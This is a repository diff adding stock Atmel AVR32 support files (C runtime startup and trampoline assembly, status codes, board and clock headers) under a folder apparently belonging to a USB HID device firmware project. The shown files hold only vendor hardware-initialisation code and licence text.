#define ATPASTE5( a, b, c, d, e) TPASTE5( a, b, c, d, e)
|
||||
#define ATPASTE6( a, b, c, d, e, f) TPASTE6( a, b, c, d, e, f)
|
||||
#define ATPASTE7( a, b, c, d, e, f, g) TPASTE7( a, b, c, d, e, f, g)
|
||||
#define ATPASTE8( a, b, c, d, e, f, g, h) TPASTE8( a, b, c, d, e, f, g, h)
|
||||
#define ATPASTE9( a, b, c, d, e, f, g, h, i) TPASTE9( a, b, c, d, e, f, g, h, i)
|
||||
#define ATPASTE10(a, b, c, d, e, f, g, h, i, j) TPASTE10(a, b, c, d, e, f, g, h, i, j)
|
||||
//! @}
|
||||
|
||||
|
||||
#endif // _TPASTE_H_
|
|
@ -0,0 +1,118 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief AVR32UC C runtime startup file.
|
||||
*
|
||||
*
|
||||
* - Compiler: GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32UC devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include <avr32/io.h>
|
||||
|
||||
|
||||
//! @{
|
||||
//! \verbatim
|
||||
|
||||
|
||||
// This must be linked @ 0x80000000 if it is to be run upon reset.
|
||||
.section .reset, "ax", @progbits
|
||||
|
||||
|
||||
.global _start
|
||||
.type _start, @function
|
||||
_start:
|
||||
// Jump to the C runtime startup routine.
|
||||
lda.w pc, _stext
|
||||
|
||||
|
||||
// _stext is placed outside the .reset section so that the program entry point
|
||||
// can be changed without affecting the C runtime startup.
|
||||
.section .text._stext, "ax", @progbits
|
||||
|
||||
|
||||
.global _stext
|
||||
.type _stext, @function
|
||||
_stext:
|
||||
// Set initial stack pointer.
|
||||
lda.w sp, _estack
|
||||
|
||||
// Set up EVBA so interrupts can be enabled.
|
||||
lda.w r0, _evba
|
||||
mtsr AVR32_EVBA, r0
|
||||
|
||||
// Enable the exception processing.
|
||||
csrf AVR32_SR_EM_OFFSET
|
||||
|
||||
// Load initialized data having a global lifetime from the data LMA.
|
||||
lda.w r0, _data
|
||||
lda.w r1, _edata
|
||||
cp r0, r1
|
||||
brhs idata_load_loop_end
|
||||
lda.w r2, _data_lma
|
||||
idata_load_loop:
|
||||
ld.d r4, r2++
|
||||
st.d r0++, r4
|
||||
cp r0, r1
|
||||
brlo idata_load_loop
|
||||
idata_load_loop_end:
|
||||
|
||||
// Clear uninitialized data having a global lifetime in the blank static storage section.
|
||||
lda.w r0, __bss_start
|
||||
lda.w r1, _end
|
||||
cp r0, r1
|
||||
brhs udata_clear_loop_end
|
||||
mov r2, 0
|
||||
mov r3, 0
|
||||
udata_clear_loop:
|
||||
st.d r0++, r2
|
||||
cp r0, r1
|
||||
brlo udata_clear_loop
|
||||
udata_clear_loop_end:
|
||||
|
||||
#ifdef CONFIG_FRAME_POINTER
|
||||
// Safety: Set the default "return" @ to the exit routine address.
|
||||
lda.w lr, exit
|
||||
#endif
|
||||
|
||||
// Start the show.
|
||||
lda.w pc, main
|
||||
|
||||
|
||||
//! \endverbatim
|
||||
//! @}
|
|
@ -0,0 +1,75 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief AVR32 UC3 ISP trampoline.
|
||||
*
|
||||
* In order to be able to program a project with both BatchISP and JTAGICE mkII
|
||||
* without having to take the general-purpose fuses into consideration, add this
|
||||
* file to the project and change the program entry point to _trampoline.
|
||||
*
|
||||
* The pre-programmed ISP will be erased if JTAGICE mkII is used.
|
||||
*
|
||||
* - Compiler: GNU GCC for AVR32
|
||||
* - Supported devices: All AVR32UC devices can be used.
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#include "trampoline_uc3.h"
|
||||
|
||||
|
||||
//! @{
|
||||
//! \verbatim
|
||||
|
||||
|
||||
// This must be linked @ 0x80000000 if it is to be run upon reset.
|
||||
.section .reset, "ax", @progbits
|
||||
|
||||
|
||||
.global _trampoline
|
||||
.type _trampoline, @function
|
||||
_trampoline:
|
||||
// Jump to program start.
|
||||
rjmp program_start
|
||||
|
||||
.org PROGRAM_START_OFFSET
|
||||
program_start:
|
||||
// Jump to the C runtime startup routine.
|
||||
lda.w pc, _stext
|
||||
|
||||
|
||||
//! \endverbatim
|
||||
//! @}
|
|
@ -0,0 +1,52 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file ******************************************************************
|
||||
*
|
||||
* \brief UC3 trampoline definitions (default size is 8KB)
|
||||
*
|
||||
* - Compiler: IAR EWAVR32 and GNU GCC for AVR32
|
||||
* - Supported devices: All AVR UC3 devices.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
***************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _TRAMPOLINE_UC3_H_
|
||||
#define _TRAMPOLINE_UC3_H_
|
||||
|
||||
#define PROGRAM_START_ADDRESS (AVR32_FLASH_ADDRESS + PROGRAM_START_OFFSET)
|
||||
#define PROGRAM_START_OFFSET 0x00002000
|
||||
|
||||
#endif // _TRAMPOLINE_UC3_H_
|
81
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h
Executable file
81
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/status_codes.h
Executable file
|
@ -0,0 +1,81 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Status code definitions.
|
||||
*
|
||||
* This file defines various status codes returned by functions,
|
||||
* indicating success or failure as well as what kind of failure.
|
||||
*
|
||||
* Copyright (C) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef STATUS_CODES_H_INCLUDED
|
||||
#define STATUS_CODES_H_INCLUDED
|
||||
|
||||
/**
|
||||
* Status code that may be returned by shell commands and protocol
|
||||
* implementations.
|
||||
*
|
||||
* \note Any change to these status codes and the corresponding
|
||||
* message strings is strictly forbidden. New codes can be added,
|
||||
* however, but make sure that any message string tables are updated
|
||||
* at the same time.
|
||||
*/
|
||||
enum status_code {
|
||||
STATUS_OK = 0, //!< Success
|
||||
ERR_IO_ERROR = -1, //!< I/O error
|
||||
ERR_FLUSHED = -2, //!< Request flushed from queue
|
||||
ERR_TIMEOUT = -3, //!< Operation timed out
|
||||
ERR_BAD_DATA = -4, //!< Data integrity check failed
|
||||
ERR_PROTOCOL = -5, //!< Protocol error
|
||||
ERR_UNSUPPORTED_DEV = -6, //!< Unsupported device
|
||||
ERR_NO_MEMORY = -7, //!< Insufficient memory
|
||||
ERR_INVALID_ARG = -8, //!< Invalid argument
|
||||
ERR_BAD_ADDRESS = -9, //!< Bad address
|
||||
ERR_BUSY = -10, //!< Resource is busy
|
||||
ERR_BAD_FORMAT = -11, //!< Data format not recognized
|
||||
|
||||
/**
|
||||
* \brief Operation in progress
|
||||
*
|
||||
* This status code is for driver-internal use when an operation
|
||||
* is currently being performed.
|
||||
*
|
||||
* \note Drivers should never return this status code to any
|
||||
* callers. It is strictly for internal use.
|
||||
*/
|
||||
OPERATION_IN_PROGRESS = -128,
|
||||
};
|
||||
|
||||
typedef enum status_code status_code_t;
|
||||
|
||||
#endif /* STATUS_CODES_H_INCLUDED */
|
194
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h
Executable file
194
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h
Executable file
|
@ -0,0 +1,194 @@
|
|||
/*This file is prepared for Doxygen automatic documentation generation.*/
|
||||
/*! \file *********************************************************************
|
||||
*
|
||||
* \brief Standard board header file.
|
||||
*
|
||||
* This file includes the appropriate board header file according to the
|
||||
* defined board (parameter BOARD).
|
||||
*
|
||||
* - Compiler: IAR EWAVR/IAR EWAVR32 and GNU GCC for AVR or AVR32
|
||||
* - Supported devices: All AVR devices can be used.
|
||||
* - AppNote:
|
||||
*
|
||||
* \author Atmel Corporation: http://www.atmel.com \n
|
||||
* Support and FAQ: http://support.atmel.no/
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Copyright (c) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this
|
||||
* list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an Atmel
|
||||
* AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef _BOARD_H_
|
||||
#define _BOARD_H_
|
||||
|
||||
#include "compiler.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
|
||||
/*! \name Base Boards
|
||||
*/
|
||||
//! @{
|
||||
#define EVK1100 1 //!< AT32UC3A EVK1100 board.
|
||||
#define EVK1101 2 //!< AT32UC3B EVK1101 board.
|
||||
#define UC3C_EK 3 //!< AT32UC3C UC3C_EK board.
|
||||
#define EVK1104 4 //!< AT32UC3A3 EVK1104 board.
|
||||
#define EVK1105 5 //!< AT32UC3A EVK1105 board.
|
||||
#define STK600_RCUC3L0 6 //!< STK600 RCUC3L0 board.
|
||||
#define UC3L_EK 7 //!< AT32UC3L-EK board.
|
||||
#define XPLAIN 8 //!< ATxmega128A1 Xplain board.
|
||||
#define STK600_RC064X 10 //!< ATxmega256A3 STK600 board.
|
||||
#define STK600_RC100X 11 //!< ATxmega128A1 STK600 board.
|
||||
#define AVR_HIFI_AUDIO 12 //!< AT32UC3A AVR HiFi Audio board.
|
||||
#define UC3_A3_XPLAINED 13 //!< ATUC3A3 UC3-A3 Xplained board.
|
||||
#define UC3_L0_XPLAINED 15 //!< ATUC3L0 UC3-L0 Xplained board.
|
||||
#define STK600_RCUC3D 16 //!< STK600 RCUC3D board.
|
||||
#define STK600_RCUC3C0 17 //!< STK600 RCUC3C board.
|
||||
#define XMEGA_A1_XPLAINED 19 //!< ATxmega128A1 Xplain-A1 board.
|
||||
#define UC3_L0_XPLAINED_BC 22 //!< ATUC3L0 UC3-L0 Xplained board controller board
|
||||
#define MEGA1284P_XPLAINED_BC 23 //!< ATmega1284P-Xplained board controller board
|
||||
#define STK600_RC044X 24 //!< STK600 with RC044X routing card board.
|
||||
#define STK600_RCUC3B 25 //!< STK600 RCUC3B board.
|
||||
#define UC3_L0_QT600 26 //!< QT600 UC3L0 MCU board.
|
||||
#define USER_BOARD 99 //!< User-reserved board (if any).
|
||||
#define DUMMY_BOARD 100 //!< Dummy board to support board-independent applications (e.g. bootloader)
|
||||
|
||||
//! @}
|
||||
|
||||
/*! \name Extension Boards
|
||||
*/
|
||||
//! @{
|
||||
#define EXT1102 1 //!< AT32UC3B EXT1102 board
|
||||
#define MC300 2 //!< AT32UC3 MC300 board
|
||||
#define SENSORS_XPLAINED_INERTIAL_1 3 //!< Xplained inertial sensor board 1
|
||||
#define SENSORS_XPLAINED_INERTIAL_2 4 //!< Xplained inertial sensor board 2
|
||||
#define SENSORS_XPLAINED_PRESSURE_1 5 //!< Xplained pressure sensor board
|
||||
#define SENSORS_XPLAINED_LIGHT_1 6 //!< Xplained light & proximity sensor board
|
||||
#define SENSORS_XPLAINED_INERTIAL_A1 7 //!< Xplained inertial sensor board "A"
|
||||
|
||||
#define USER_EXT_BOARD 99 //!< User-reserved extension board (if any).
|
||||
//! @}
|
||||
|
||||
#if BOARD == EVK1100
|
||||
#include "evk1100/evk1100.h"
|
||||
#elif BOARD == EVK1101
|
||||
#include "evk1101/evk1101.h"
|
||||
#elif BOARD == UC3C_EK
|
||||
#include "uc3c_ek/uc3c_ek.h"
|
||||
#elif BOARD == EVK1104
|
||||
#include "evk1104/evk1104.h"
|
||||
#elif BOARD == EVK1105
|
||||
#include "evk1105/evk1105.h"
|
||||
#elif BOARD == STK600_RCUC3L0
|
||||
#include "stk600/rcuc3l0/stk600_rcuc3l0.h"
|
||||
#elif BOARD == UC3L_EK
|
||||
#include "uc3l_ek/uc3l_ek.h"
|
||||
#elif BOARD == XPLAIN
|
||||
#include "xplain/xplain.h"
|
||||
#elif BOARD == STK600_RC044X
|
||||
#include "stk600/rc044x/stk600_rc044x.h"
|
||||
#elif BOARD == STK600_RC064X
|
||||
#include "stk600/rc064x/stk600_rc064x.h"
|
||||
#elif BOARD == STK600_RC100X
|
||||
#include "stk600/rc100x/stk600_rc100x.h"
|
||||
#elif BOARD == AVR_HIFI_AUDIO
|
||||
#include "avr_hifi_audio/avr_hifi_audio.h"
|
||||
#elif BOARD == UC3_A3_XPLAINED
|
||||
#include "uc3_a3_xplained/uc3_a3_xplained.h"
|
||||
#elif BOARD == UC3_L0_XPLAINED
|
||||
#include "uc3_l0_xplained/uc3_l0_xplained.h"
|
||||
#elif BOARD == STK600_RCUC3B
|
||||
#include "stk600/rcuc3b/stk600_rcuc3b.h"
|
||||
#elif BOARD == STK600_RCUC3D
|
||||
#include "stk600/rcuc3d/stk600_rcuc3d.h"
|
||||
#elif BOARD == STK600_RCUC3C0
|
||||
#include "stk600/rcuc3c0/stk600_rcuc3c0.h"
|
||||
#elif BOARD == XMEGA_A1_XPLAINED
|
||||
#include "xmega_a1_xplained/xmega_a1_xplained.h"
|
||||
#elif BOARD == UC3_L0_XPLAINED_BC
|
||||
#include "uc3_l0_xplained_bc/uc3_l0_xplained_bc.h"
|
||||
#elif BOARD == MEGA1284P_XPLAINED_BC
|
||||
#include "mega1284p_xplained_bc/mega1284p_xplained_bc.h"
|
||||
#elif BOARD == UC3_L0_QT600
|
||||
#include "uc3_l0_qt600/uc3_l0_qt600.h"
|
||||
#elif BOARD == USER_BOARD
|
||||
// User-reserved area: #include the header file of your board here (if any).
|
||||
#include "user_board.h"
|
||||
#elif BOARD == DUMMY_BOARD
|
||||
#include "dummy/dummy_board.h"
|
||||
#else
|
||||
#error No known AVR board defined
|
||||
#endif
|
||||
|
||||
#if (defined EXT_BOARD)
|
||||
#if EXT_BOARD == MC300
|
||||
#include "mc300/mc300.h"
|
||||
#elif (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_1) || \
|
||||
(EXT_BOARD == SENSORS_XPLAINED_INERTIAL_2) || \
|
||||
(EXT_BOARD == SENSORS_XPLAINED_INERTIAL_A1) || \
|
||||
(EXT_BOARD == SENSORS_XPLAINED_PRESSURE_1) || \
|
||||
(EXT_BOARD == SENSORS_XPLAINED_LIGHT_1)
|
||||
#include "sensors_xplained/sensors_xplained.h"
|
||||
#elif EXT_BOARD == USER_EXT_BOARD
|
||||
// User-reserved area: #include the header file of your extension board here
|
||||
// (if any).
|
||||
#endif
|
||||
#endif
|
||||
|
||||
|
||||
#if (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__))
|
||||
#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling.
|
||||
|
||||
/*! \brief This function initializes the board target resources
|
||||
*
|
||||
* This function should be called to ensure proper initialization of the target
|
||||
* board hardware connected to the part.
|
||||
*/
|
||||
extern void board_init(void);
|
||||
|
||||
#endif // #ifdef __AVR32_ABI_COMPILER__
|
||||
#else
|
||||
/*! \brief This function initializes the board target resources
|
||||
*
|
||||
* This function should be called to ensure proper initialization of the target
|
||||
* board hardware connected to the part.
|
||||
*/
|
||||
extern void board_init(void);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // _BOARD_H_
|
136
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h
Executable file
136
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h
Executable file
|
@ -0,0 +1,136 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief Generic clock management
|
||||
*
|
||||
* Copyright (C) 2010 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
#ifndef CLK_GENCLK_H_INCLUDED
|
||||
#define CLK_GENCLK_H_INCLUDED
|
||||
|
||||
#include <parts.h>
|
||||
|
||||
#if (UC3A0 || UC3A1)
|
||||
# include "uc3a0_a1/genclk.h"
|
||||
#elif UC3A3
|
||||
# include "uc3a3_a4/genclk.h"
|
||||
#elif UC3B
|
||||
# include "uc3b0_b1/genclk.h"
|
||||
#elif UC3C
|
||||
# include "uc3c/genclk.h"
|
||||
#elif UC3D
|
||||
# include "uc3d/genclk.h"
|
||||
#elif UC3L
|
||||
# include "uc3l/genclk.h"
|
||||
#else
|
||||
# error Unsupported chip type
|
||||
#endif
|
||||
|
||||
/**
|
||||
* \ingroup clk_group
|
||||
* \defgroup genclk_group Generic Clock Management
|
||||
*
|
||||
* Generic clocks are configurable clocks which run outside the system
|
||||
* clock domain. They are often connected to peripherals which have an
|
||||
* asynchronous component running independently of the bus clock, e.g.
|
||||
* USB controllers, low-power timers and RTCs, etc.
|
||||
*
|
||||
* Note that not all platforms have support for generic clocks; on such
|
||||
* platforms, this API will not be available.
|
||||
*
|
||||
* @{
|
||||
*/
|
||||
|
||||
/**
|
||||
* \def GENCLK_DIV_MAX
|
||||
* \brief Maximum divider supported by the generic clock implementation
|
||||
*/
|
||||
/**
|
||||
* \enum genclk_source
|
||||
* \brief Generic clock source ID
|
||||
*
|
||||
* Each generic clock may be generated from a different clock source.
|
||||
* These are the available alternatives provided by the chip.
|
||||
*/
|
||||
|
||||
//! \name Generic clock configuration
|
||||
//@{
|
||||
/**
|
||||
* \struct genclk_config
|
||||
* \brief Hardware representation of a set of generic clock parameters
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_config_defaults(struct genclk_config *cfg,
|
||||
* unsigned int id)
|
||||
* \brief Initialize \a cfg to the default configuration for the clock
|
||||
* identified by \a id.
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_config_read(struct genclk_config *cfg, unsigned int id)
|
||||
* \brief Read the currently active configuration of the clock
|
||||
* identified by \a id into \a cfg.
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_config_write(const struct genclk_config *cfg,
|
||||
* unsigned int id)
|
||||
* \brief Activate the configuration \a cfg on the clock identified by
|
||||
* \a id.
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_config_set_source(struct genclk_config *cfg,
|
||||
* enum genclk_source src)
|
||||
* \brief Select a new source clock \a src in configuration \a cfg.
|
||||
*/
|
||||
/**
|
||||
* \fn void genclk_config_set_divider(struct genclk_config *cfg,
|
||||
* unsigned int divider)
|
||||
* \brief Set a new \a divider in configuration \a cfg.
|
||||
*/
|
||||
//@}
|
||||
|
||||
//! \name Enabling and disabling Generic Clocks
|
||||
//@{
|
||||
/**
|
||||
